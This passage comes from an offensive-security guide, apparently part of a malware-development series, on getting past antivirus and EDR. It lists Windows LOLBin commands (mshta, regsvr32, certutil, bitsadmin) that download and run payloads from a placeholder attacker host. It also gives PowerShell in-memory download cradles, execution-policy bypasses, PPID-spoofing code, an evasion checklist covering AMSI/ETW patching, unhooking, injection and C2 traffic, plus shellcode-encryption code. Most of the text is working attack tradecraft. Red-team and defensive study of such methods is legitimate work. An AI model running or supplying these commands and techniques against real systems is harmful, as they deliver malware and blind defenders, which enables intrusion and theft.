mshta http://<ATTACKER>/payload.hta
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -enc BASE64""(window.close)")

:: regsvr32 — COM scriptlet (squiblydoo)
regsvr32 /s /n /u /i:http://<ATTACKER>/payload.sct scrobj.dll

:: certutil — download files
certutil -urlcache -f http://<ATTACKER>/beacon.exe C:\Windows\Temp\b.exe

:: bitsadmin — download + execute
bitsadmin /create 1 & bitsadmin /addfile 1 http://<ATTACKER>/beacon.exe C:\Temp\b.exe
bitsadmin /transfer 1 http://<ATTACKER>/beacon.exe C:\Temp\b.exe

:: wmic — execute process
wmic process call create "C:\Windows\Temp\beacon.exe"
wmic process call create "powershell -enc BASE64"

:: rundll32 — execute DLL
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("...")
rundll32.exe C:\Temp\evil.dll,EntryPoint

:: installutil — bypass applocker for .NET
installutil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.exe

:: regasm / regsvcs
regasm.exe /U C:\Temp\payload.dll
regsvcs.exe C:\Temp\payload.dll

:: MSBuild — build and execute inline C# task
msbuild.exe C:\Temp\payload.csproj

12.2 PowerShell Evasion

# Encoded command (avoids content scanning of command line)
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://<IP>/run.ps1")'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $encoded

# Bypass ExecutionPolicy
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX(...)"

# Constrained Language Mode bypass
# Run inside a process that doesn't have CLM set

# Download + execute in memory (no disk)
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/PowerView.ps1')

# HTTPS download
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
IEX(New-Object Net.WebClient).DownloadString('https://<IP>/tool.ps1')

12.3 PPID Spoofing

// Spoof the Parent Process ID of a newly created process
// Spawn notepad.exe as a child of explorer.exe (not cmd.exe)
// — looks like a legitimate user-launched process

[DllImport("kernel32.dll")] static extern IntPtr OpenProcess(
    uint access, bool inherit, int pid);
[DllImport("kernel32.dll")] static extern bool InitializeProcThreadAttributeList(
    IntPtr list, int count, int flags, ref IntPtr size);
[DllImport("kernel32.dll")] static extern bool UpdateProcThreadAttribute(
    IntPtr list, uint flags, IntPtr attr, IntPtr val, IntPtr size,
    IntPtr prev, IntPtr ret);

static void SpawnWithSpoofedPPID(int spoofedParentPid, string targetBinary) {
    IntPtr hParent = OpenProcess(0x001F0FFF, false, spoofedParentPid);

    // STARTUPINFOEX with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
    // Set parent to explorer.exe (or any trusted process)
    // Creates a process tree: explorer.exe → notepad.exe → your shellcode

    // Full implementation requires PROC_THREAD_ATTRIBUTE_LIST setup
    // Use NtCreateUserProcess with parent attribute for cleanest result
}

13. AV/EDR Detection Bypass Checklist

Before execution:
☐ Shellcode encrypted (AES/XOR) — no plaintext bytes
☐ AMSI patched before any PowerShell/reflection
☐ ETW patched to blind telemetry
☐ ntdll unhooked (fresh disk copy) OR direct/indirect syscalls used

Payload Delivery:
☐ Stageless payload (no network fetch of second stage — reduces IOCs)
☐ Payload fetched over HTTPS with valid cert
☐ Executed via LOLBin or in-memory (no disk write)
☐ PPID spoofed (process appears to be child of explorer.exe)

Injection:
☐ Target process is long-running + trusted (svchost, explorer, spoolsv)
☐ Use APC/module stomping — not VirtualAlloc+CreateRemoteThread (too noisy)
☐ No RWX memory (use RW for write → RX for execute — change perms separately)
☐ Memory NOT anonymous — backed by a legitimate module (module stomping)

During execution:
☐ Sleep obfuscation enabled (Ekko/Foliage)
☐ Sandbox checks passed before real payload runs
☐ C2 beaconing uses jitter (not fixed interval)
☐ C2 traffic uses HTTPS/domain fronting (JA3 evasion)

Cleanup:
☐ Zero out shellcode memory after use
☐ Close all opened handles
☐ Remove any dropped files
☐ Restore patched function bytes if possible


14. Cheat Sheet

Bypass Decision Tree

Is AMSI blocking your PS script?
└── Apply AMSI patch first → then load tooling

Is EDR blocking API calls?
├── Light EDR → ntdll unhook (fresh disk copy)
└── Heavy EDR → Direct Syscalls (SysWhispers3)
→ Indirect Syscalls (even stealthier)

Is EDR detecting shellcode in memory?
├── Encrypt payload (AES) → decrypt at runtime
├── Use module stomping (live in signed DLL memory)
└── Enable sleep obfuscation (Ekko/Foliage)

Is behavior being flagged (process chains)?
├── PPID spoofing (appear as child of explorer)
├── Use LOLBins for execution
└── Process hollowing (look like svchost.exe)

Is sandbox running payload safely?
└── Add sandbox checks (uptime, RAM, mouse, domain, cores)

Key Tools Reference

Tool Purpose URL
SysWhispers3 Direct/Indirect syscall generator github.com/klezVirus/SysWhispers3
Ekko Sleep obfuscation via ROP github.com/cracked5pider/Ekko
SharpEDRChecker Detect EDR presence github.com/PwnDexter/SharpEDRChecker
Invoke-Obfuscation PowerShell obfuscation github.com/danielbohannon/Invoke-Obfuscation
Donut Shellcode from .NET/PE/VBScript github.com/TheWover/donut
GadgetToJScript .NET assembly → JS/VBS github.com/med0x2e/GadgetToJScript
NetLoader In-memory .NET assembly loader github.com/Flangvik/NetLoader
Freeze PE to shellcode + sandbox evasion github.com/optiv/Freeze

Quick Commands

# Generate syscall stubs
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx --out-file syscalls

# Donut — convert EXE/DLL/.NET to shellcode
donut -i Rubeus.exe -a 2 -f 1 -o rubeus.bin -p "kerberoast /outfile:hashes.txt"

# Encrypt shellcode (Python)
python3 -c "
import os
key = os.urandom(32)
iv  = os.urandom(16)
data = open('beacon.bin','rb').read()
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(data, 16))
open('beacon_enc.bin','wb').write(enc)
print(f'Key: {key.hex()}')
print(f'IV:  {iv.hex()}')
"

# Check if AMSI/ETW patched (quick test)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null)
# Should return True if patched

← Malware development top ↑